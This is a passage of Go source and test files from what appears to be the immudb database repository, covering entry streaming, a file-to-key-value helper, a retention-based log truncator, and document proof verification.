inclusionProofProto) require.Nil(t, vr) } func TestVEntryStreamReceiver_NextErr2(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte(`first`), E: io.EOF}, {M: []byte(`second`), E: io.EOF}, {M: []byte(`third`), E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() require.ErrorIs(t, err, errCustom) require.Nil(t, entryWithoutValueProto) require.Nil(t, verifiableTxProto) require.Nil(t, inclusionProofProto) require.Nil(t, vr) } ================================================ FILE: pkg/stream/ventrysender.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "errors" "io" ) type vEntryStreamSender struct { s MsgSender } func NewVEntryStreamSender(s MsgSender) *vEntryStreamSender { return &vEntryStreamSender{ s: s, } } func (vess *vEntryStreamSender) Send(ve *VerifiableEntry) error { ves := []*ValueSize{ve.EntryWithoutValueProto, ve.VerifiableTxProto, ve.InclusionProofProto, ve.Value} for _, vs := range ves { err := vess.s.Send(vs.Content, vs.Size, nil) if errors.Is(err, io.EOF) { return vess.s.RecvMsg(nil) } if err != nil { return err } } return nil } ================================================ FILE: pkg/stream/ventrysender_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestNewVEntryStreamSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) ves := NewVEntryStreamSender(s) require.IsType(t, &vEntryStreamSender{}, ves) } func TestVEntryStreamSender_Send(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) kvss := NewVEntryStreamSender(s) kv := &VerifiableEntry{ EntryWithoutValueProto: &ValueSize{ Content: nil, Size: 0, }, VerifiableTxProto: &ValueSize{ Content: nil, Size: 0, }, InclusionProofProto: &ValueSize{ Content: nil, Size: 0, }, Value: &ValueSize{ Content: nil, Size: 0, }, } err := kvss.Send(kv) require.NoError(t, err) } func TestVEntryStreamSender_SendErr(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errCustom } kvss := NewVEntryStreamSender(s) kv := &VerifiableEntry{ EntryWithoutValueProto: &ValueSize{ Content: nil, Size: 0, }, VerifiableTxProto: &ValueSize{ Content: nil, Size: 0, }, InclusionProofProto: &ValueSize{ Content: nil, Size: 0, }, Value: &ValueSize{ Content: nil, Size: 0, }, } err := kvss.Send(kv) require.ErrorIs(t, err, errCustom) } ================================================ FILE: pkg/stream/ventrystreamer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" ) // VEntryStreamSender ... type VEntryStreamSender interface { Send(ve *VerifiableEntry) error } // VEntryStreamReceiver ... type VEntryStreamReceiver interface { Next() ([]byte, []byte, []byte, io.Reader, error) } ================================================ FILE: pkg/stream/zStreamer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import "io" // ZStreamSender ... type ZStreamSender interface { Send(ze *ZEntry) error } // ZStreamReceiver ... type ZStreamReceiver interface { Next() ([]byte, []byte, float64, uint64, io.Reader, error) } ================================================ FILE: pkg/stream/zparser.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" "github.com/codenotary/immudb/pkg/api/schema" ) // ParseZEntry ... func ParseZEntry( set []byte, key []byte, score float64, atTx uint64, vr io.Reader, chunkSize int, ) (*schema.ZEntry, error) { value, err := ReadValue(vr, chunkSize) if err != nil { return nil, err } entry := schema.Entry{Key: key, Value: value} return &schema.ZEntry{ Set: set, Key: key, Entry: &entry, Score: score, AtTx: atTx, }, nil } ================================================ FILE: pkg/stream/zparser_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestParseZEntry(t *testing.T) { z, err := ParseZEntry([]byte(`set`), []byte(`key`), 87.4, 1, bytes.NewBuffer([]byte(`reader`)), 4096) require.NoError(t, err) require.IsType(t, &schema.ZEntry{}, z) } func TestParseZEntryErr(t *testing.T) { z, err := ParseZEntry([]byte(`set`), []byte(`key`), 87.4, 1, bytes.NewBuffer([]byte{}), 4096) require.ErrorIs(t, err, io.EOF) require.Nil(t, z) } ================================================ FILE: pkg/stream/zreceiver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" ) type zStreamReceiver struct { s io.Reader BufferSize int } // NewZStreamReceiver ... func NewZStreamReceiver(s io.Reader, bs int) *zStreamReceiver { return &zStreamReceiver{ s: s, BufferSize: bs, } } func (zr *zStreamReceiver) Next() ([]byte, []byte, float64, uint64, io.Reader, error) { ris := make([][]byte, 4) for i, _ := range ris { r, err := ReadValue(zr.s, zr.BufferSize) if err != nil { return nil, nil, 0, 0, nil, err } ris[i] = r } var score float64 if err := NumberFromBytes(ris[2], &score); err != nil { return nil, nil, 0, 0, nil, err } var atTx uint64 if err := NumberFromBytes(ris[3], &atTx); err != nil { return nil, nil, 0, 0, nil, err } // for the value, (which can be large), return a Reader and let the caller read it return ris[0], ris[1], score, atTx, zr.s, nil } ================================================ FILE: pkg/stream/zreceiver_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestNewZStreamReceiver(t *testing.T) { r := bytes.NewBuffer([]byte{}) vsr := NewZStreamReceiver(r, 4096) require.NotNil(t, vsr) } func TestNewZStreamReceiver_Next(t *testing.T) { atTx, err := NumberToBytes(uint64(67)) require.NoError(t, err) score, err := NumberToBytes(float64(33.5)) require.NoError(t, err) me := []*streamtest.MsgError{ {M: []byte(`first`), E: io.EOF}, {M: []byte(`second`), E: io.EOF}, {M: score, E: io.EOF}, {M: atTx, E: io.EOF}, } r := streamtest.DefaultMsgReceiverMock(me) zsr := NewZStreamReceiver(r, 4096) set, key, s, tx, vr, err := zsr.Next() require.NoError(t, err) require.Equal(t, []byte(`first`), set) require.Equal(t, []byte(`second`), key) require.Equal(t, float64(33.5), s) require.NotNil(t, uint64(67), tx) require.NotNil(t, vr) } ================================================ FILE: pkg/stream/zsender.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "errors" "io" ) type zStreamSender struct { s MsgSender } // NewZStreamSender ... func NewZStreamSender(s MsgSender) *zStreamSender { return &zStreamSender{ s: s, } } func (st *zStreamSender) Send(ze *ZEntry) error { for _, vs := range []*ValueSize{ze.Set, ze.Key, ze.Score, ze.AtTx, ze.Value} { err := st.s.Send(vs.Content, vs.Size, nil) if errors.Is(err, io.EOF) { return st.s.RecvMsg(nil) } if err != nil { return err } } return nil } ================================================ FILE: pkg/stream/zsender_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "errors" "io" "testing" "github.com/stretchr/testify/require" ) type msgSenderMock struct { SendF func(io.Reader, int, map[string][]byte) error RecvMsgF func(interface{}) error } func (msm *msgSenderMock) Send(reader io.Reader, payloadSize int, metadata map[string][]byte) error { return msm.SendF(reader, payloadSize, metadata) } func (msm *msgSenderMock) RecvMsg(m interface{}) error { return msm.RecvMsgF(m) } func TestZSender(t *testing.T) { errReceiveMsg := errors.New("receive msg error") // EOF error msm := msgSenderMock{ SendF: func(io.Reader, int, map[string][]byte) error { return io.EOF }, RecvMsgF: func(interface{}) error { return errReceiveMsg }, } zss := NewZStreamSender(&msm) set := []byte("SomeSet") key := []byte("SomeKey") var score float64 = 11 scoreBs, err := NumberToBytes(score) require.NoError(t, err) var atTx uint64 = 22 atTxBs, err := NumberToBytes(atTx) require.NoError(t, err) value := []byte("SomeValue") zEntry := ZEntry{ Set: &ValueSize{Content: bytes.NewReader(set), Size: len(set)}, Key: &ValueSize{Content: bytes.NewReader(key), Size: len(key)}, Score: &ValueSize{Content: bytes.NewReader(scoreBs), Size: len(scoreBs)}, AtTx: &ValueSize{Content: bytes.NewReader(atTxBs), Size: len(atTxBs)}, Value: &ValueSize{Content: bytes.NewReader(value), Size: len(value)}, } err = zss.Send(&zEntry) require.ErrorIs(t, err, errReceiveMsg) errSend := errors.New("send error") // other error msm.SendF = func(io.Reader, int, map[string][]byte) error { return errSend } msm.RecvMsgF = func(interface{}) error { return nil } zss = NewZStreamSender(&msm) err = zss.Send(&zEntry) require.ErrorIs(t, err, errSend) // no error msm.SendF = func(io.Reader, int, map[string][]byte) error { return nil } zss = NewZStreamSender(&msm) err = zss.Send(&zEntry) require.NoError(t, err) } ================================================ FILE: pkg/streamutils/files.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package streamutils import ( "bufio" "bytes" "os" "github.com/codenotary/immudb/pkg/stream" ) // GetKeyValuesFromFiles returns an array of stream.KeyValue from full file names paths. Each key value is composed by a key that is the file name and a reader of the content of the file, if exists. // @todo Michele use only base path to avoid to use pieces of local file system as key func GetKeyValuesFromFiles(filenames ...string) ([]*stream.KeyValue, error) { var kvs []*stream.KeyValue for _, fn := range filenames { fs, err := os.Stat(fn) if err != nil { return nil, err } f, err := os.Open(fn) if err != nil { return nil, err } kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(fn))), Size: len([]byte(fn)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(f), Size: int(fs.Size()), }, } kvs = append(kvs, kv) } return kvs, nil } ================================================ FILE: pkg/streamutils/files_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package streamutils import ( "io/ioutil" "os" "path/filepath" "syscall" "testing" "github.com/stretchr/testify/require" "golang.org/x/sys/unix" ) func TestStreamUtilsFiles(t *testing.T) { tmpdir := t.TempDir() // stat will fail _, err := GetKeyValuesFromFiles(filepath.Join(tmpdir, "non-existant")) require.ErrorIs(t, err, syscall.ENOENT) unreadable := filepath.Join(tmpdir, "dir") os.Mkdir(unreadable, 200) // open will fail _, err = GetKeyValuesFromFiles(unreadable) require.ErrorIs(t, err, unix.EACCES) valid := filepath.Join(tmpdir, "data") err = ioutil.WriteFile(valid, []byte("content"), 0644) require.NoError(t, err) kvs, err := GetKeyValuesFromFiles(valid) require.NoError(t, err) require.Len(t, kvs, 1) } ================================================ FILE: pkg/truncator/truncator.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package truncator import ( "context" "errors" "sync" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/database" ) var ( ErrTruncatorAlreadyRunning = errors.New("truncator already running") ErrTruncatorAlreadyStopped = errors.New("truncator already stopped") ) type Truncator struct { mu sync.Mutex truncators []database.Truncator // specifies truncators for multiple appendable logs hasStarted bool truncationMutex sync.Mutex db database.DB retentionPeriod time.Duration truncationFrequency time.Duration logger logger.Logger donech chan struct{} stopch chan struct{} } func NewTruncator( db database.DB, retentionPeriod time.Duration, truncationFrequency time.Duration, logger logger.Logger) *Truncator { return &Truncator{ db: db, logger: logger, truncators: []database.Truncator{database.NewVlogTruncator(db, logger)}, donech: make(chan struct{}), stopch: make(chan struct{}), retentionPeriod: retentionPeriod, truncationFrequency: truncationFrequency, } } // runTruncator triggers periodically to truncate multiple appendable logs func (t *Truncator) Start() error { t.mu.Lock() defer t.mu.Unlock() if t.hasStarted { return ErrTruncatorAlreadyRunning } t.hasStarted = true t.logger.Infof("starting truncator for database '%s' with retention period '%vs' and truncation frequency '%vs'", t.db.GetName(), t.retentionPeriod.Seconds(), t.truncationFrequency.Seconds()) go func() { ticker := time.NewTicker(t.truncationFrequency) for { select { case <-t.stopch: ticker.Stop() t.donech <- struct{}{} return case <-ticker.C: err := t.Truncate(context.Background(), t.retentionPeriod) if err != nil { t.logger.Errorf("failed to truncate database '%s' {ts = %v}", t.db.GetName(), err) } } } }() return nil } func (t *Truncator) Stop() error { t.mu.Lock() defer t.mu.Unlock() if !t.hasStarted { return ErrTruncatorAlreadyStopped } t.logger.Infof("Stopping truncator of database '%s'...", t.db.GetName()) t.stopch <- struct{}{} <-t.donech t.hasStarted = false t.logger.Infof("Truncator for database '%s' successfully stopped", t.db.GetName()) return nil } // Truncate discards all data from the database that is older than the retention period. // Truncation discards an appendable log upto a given offset // before time ts. First, the transaction is fetched which lies // before the specified time period, and then the values are // discarded upto the specified offset. // // discard point // | // | // v // // --------+-------+--------+---------- // // | | | // tn-1:vx tn:vx tn+1:vx func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) error { t.truncationMutex.Lock() defer t.truncationMutex.Unlock() // The timestamp ts is used to determine which transaction onwards the data // may be deleted from the value-log. // // Subtracting a duration from ts will add a buffer for when transactions are // considered safe for deletion. // Truncate time to the beginning of the day. truncationTime := getTruncationTime(time.Now(), retentionPeriod) t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), truncationTime) for _, c := range t.truncators { // Plan determines the transaction header before time period ts. If a // transaction is not found, or if an error occurs fetching the transaction, // then truncation does not run for the specified appendable. hdr, err := c.Plan(ctx, truncationTime) if errors.Is(err, database.ErrRetentionPeriodNotReached) { t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %v}", t.db.GetName(), truncationTime) } if errors.Is(err, store.ErrTxNotFound) { t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {reason = %v}", t.db.GetName(), err) } if err != nil { return err } // Truncate discards the appendable log upto the offset // specified in the transaction hdr err = c.TruncateUptoTx(ctx, hdr.Id) if err != nil { return err } } t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), truncationTime) return nil } // getTruncationTime returns the timestamp that is used to determine // which database transaction up to which the data may be deleted from the value-log. func getTruncationTime(t time.Time, retentionPeriod time.Duration) time.Time { return truncateToDay(t.Add(-1 * retentionPeriod)) } // TruncateToDay truncates the time to the beginning of the day. func truncateToDay(t time.Time) time.Time { return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) } ================================================ FILE: pkg/truncator/truncator_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package truncator import ( "context" "fmt" "os" "reflect" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" ) func makeDbWith(t *testing.T, dbName string, opts *database.Options) database.DB { d, err := database.NewDB(dbName, nil, opts, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) t.Cleanup(func() { err := d.Close() if !t.Failed() { require.NoError(t, err) } }) return d } func TestDatabase_truncate_with_duration(t *testing.T) { options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions() so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)). WithEmbeddedValues(false). WithFileSize(6). WithVLogCacheSize(0). WithSynced(false) options.WithStoreOptions(so) ctx := context.Background() db := makeDbWith(t, "db", options) t.Run("truncate with duration", func(t *testing.T) { var queryTime time.Time for i := 1; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } _, err := db.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) if i == 10 { queryTime = time.Now() } } c := database.NewVlogTruncator(db, logger.NewMemoryLogger()) _, err := c.Plan(ctx, getTruncationTime(queryTime, time.Duration(1*time.Hour))) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) hdr, err := c.Plan(ctx, queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) err = c.TruncateUptoTx(ctx, hdr.Id) require.NoError(t, err) // TODO: hard to determine the actual transaction up to which the database was truncated. for i := uint64(1); i < 5; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } _, err := db.Get(ctx, &schema.KeyRequest{Key: kv.Key}) require.Error(t, err) } for i := hdr.Id; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } item, err := db.Get(ctx, &schema.KeyRequest{Key: kv.Key}) require.NoError(t, err) require.Equal(t, kv.Key, item.Key) require.Equal(t, kv.Value, item.Value) } }) } func TestTruncator(t *testing.T) { options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)). WithFileSize(6) options.WithStoreOptions(so) db := makeDbWith(t, "db", options) tr := NewTruncator(db, 0, options.TruncationFrequency, logger.NewSimpleLogger("immudb ", os.Stderr)) err := tr.Stop() require.ErrorIs(t, err, ErrTruncatorAlreadyStopped) err = tr.Start() require.NoError(t, err) err = tr.Start() require.ErrorIs(t, err, ErrTruncatorAlreadyRunning) err = tr.Stop() require.NoError(t, err) } func TestTruncator_with_truncation_frequency(t *testing.T) { options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.WithStoreOptions(so) db := makeDbWith(t, "db", options) tr := NewTruncator(db, 0, 10*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) err := tr.Start() require.NoError(t, err) time.Sleep(15 * time.Millisecond) err = tr.Stop() require.NoError(t, err) } func Test_getTruncationTime(t *testing.T) { type args struct { ts time.Time retentionPeriod time.Duration } tests := []struct { name string args args want time.Time }{ { args: args{ ts: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC), retentionPeriod: 24 * time.Hour, }, want: time.Date(2019, 12, 31, 0, 0, 0, 0, time.UTC), }, { args: args{ ts: time.Date(2020, 1, 2, 10, 20, 30, 40, time.UTC), retentionPeriod: 24 * time.Hour, }, want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), }, { args: args{ ts: time.Date(2020, 1, 1, 11, 20, 30, 40, time.UTC), retentionPeriod: 0, }, want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := getTruncationTime(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) { t.Errorf("GetRetentionPeriod() = %v, want %v", got, tt.want) } }) } } func TestTruncator_with_retention_period(t *testing.T) { options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.WithStoreOptions(so) db := makeDbWith(t, "db", options) tr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) err := tr.Start() require.NoError(t, err) time.Sleep(15 * time.Millisecond) err = tr.Truncate(context.Background(), time.Duration(25*time.Hour)) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) err = tr.Stop() require.NoError(t, err) } type mockTruncator struct { err error } func (m *mockTruncator) Plan(context.Context, time.Time) (*schema.TxHeader, error) { return nil, m.err } // TruncateUptoTx runs truncation against the relevant appendable logs. Must // be called after result of Plan(). func (m *mockTruncator) TruncateUptoTx(context.Context, uint64) error { return m.err } func TestTruncator_with_nothing_to_truncate(t *testing.T) { options := database.DefaultOptions().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.WithStoreOptions(so) db := makeDbWith(t, "db", options) tr := NewTruncator(db, 25*time.Hour, 5*time.Millisecond, logger.NewSimpleLogger("immudb ", os.Stderr)) tr.truncators = []database.Truncator{&mockTruncator{err: store.ErrTxNotFound}} err := tr.Start() require.NoError(t, err) time.Sleep(15 * time.Millisecond) err = tr.Truncate(context.Background(), time.Duration(2*time.Hour)) require.ErrorIs(t, err, store.ErrTxNotFound) err = tr.Stop() require.NoError(t, err) } ================================================ FILE: pkg/verification/verification.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package verification import ( "bytes" "context" "crypto/ecdsa" "crypto/sha256" "fmt" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/htree" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" structpb "github.com/golang/protobuf/ptypes/struct" "google.golang.org/protobuf/proto" ) var ErrIllegalArguments = store.ErrIllegalArguments const documentPrefix = 3 // database.DocumentPrefix func VerifyDocument(ctx context.Context, proof *protomodel.ProofDocumentResponse, doc *structpb.Struct, knownState *schema.ImmutableState, serverSigningPubKey *ecdsa.PublicKey, ) (*schema.ImmutableState, error) { if proof == nil || doc == nil { return nil, ErrIllegalArguments } docID, ok := doc.Fields[proof.DocumentIdFieldName] if !ok { return nil, fmt.Errorf("%w: missing field '%s'", ErrIllegalArguments, proof.DocumentIdFieldName) } encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue()) if err != nil { return nil, err } var keyFound int for _, txEntry := range proof.VerifiableTx.Tx.Entries { if bytes.Equal(txEntry.Key, encDocKey) { hVal := sha256.Sum256(proof.EncodedDocument) if !bytes.Equal(hVal[:], txEntry.HValue) { return nil, store.ErrInvalidProof } keyFound++ } } if keyFound != 1 { return nil, fmt.Errorf("%w: document entry was not found or it was found multiple times", store.ErrInvalidProof) } voff := sql.EncLenLen + sql.EncIDLen // DocumentIDField _, n, err := sql.DecodeValue(proof.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, err } if n > document.MaxDocumentIDLength { return nil, fmt.Errorf("%w: the proof contains invalid document data", store.ErrInvalidProof) } voff += n + sql.EncIDLen // DocumentBLOBField encodedDoc, _, err := sql.DecodeValue(proof.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, err } proofDoc := &structpb.Struct{} err = proto.Unmarshal(encodedDoc.RawValue().([]byte), proofDoc) if err != nil { return nil, err } if !proto.Equal(doc, proofDoc) { return nil, fmt.Errorf("%w: proof is not valid for provided document", store.ErrInvalidProof) } entries := proof.VerifiableTx.Tx.Entries htree, err := htree.New(len(entries)) if err != nil { return nil, err } entrySpecDigest, err := store.EntrySpecDigestFor(int(proof.VerifiableTx.Tx.Header.Version)) if err != nil { return nil, err } digests := make([][sha256.Size]byte, len(entries)) for i, e := range entries { eSpec := &store.EntrySpec{ Key: e.Key, Metadata: schema.KVMetadataFromProto(e.Metadata), HashValue: schema.DigestFromProto(e.HValue), IsValueTruncated: true, } digests[i] = entrySpecDigest(eSpec) } err = htree.BuildWith(digests) if err != nil { return nil, err } txHdr := schema.TxHeaderFromProto(proof.VerifiableTx.Tx.Header) if htree.Root() != txHdr.Eh { return nil, store.ErrInvalidProof } dualProof := schema.DualProofV2FromProto(proof.VerifiableTx.DualProof) sourceID := proof.VerifiableTx.DualProof.SourceTxHeader.Id targetID := proof.VerifiableTx.DualProof.TargetTxHeader.Id if targetID < sourceID { return nil, fmt.Errorf("%w: source tx is newer than target tx", store.ErrInvalidProof) } sourceAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.SourceTxHeader).Alh() targetAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.TargetTxHeader).Alh() if txHdr.ID != sourceID && txHdr.ID != targetID { return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) } if txHdr.ID == sourceID && txHdr.Alh() != sourceAlh { return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) } if txHdr.ID == targetID && txHdr.Alh() != targetAlh { return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) } if knownState == nil || knownState.TxId == 0 { if sourceID != 1 { return nil, fmt.Errorf("%w: proof should start from the first transaction when no previous state was specified", store.ErrInvalidProof) } } else { if knownState.TxId != sourceID && knownState.TxId != targetID { return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } if knownState.TxId == sourceID && !bytes.Equal(knownState.TxHash, sourceAlh[:]) { return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } if knownState.TxId == targetID && !bytes.Equal(knownState.TxHash, targetAlh[:]) { return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } } err = store.VerifyDualProofV2( dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil 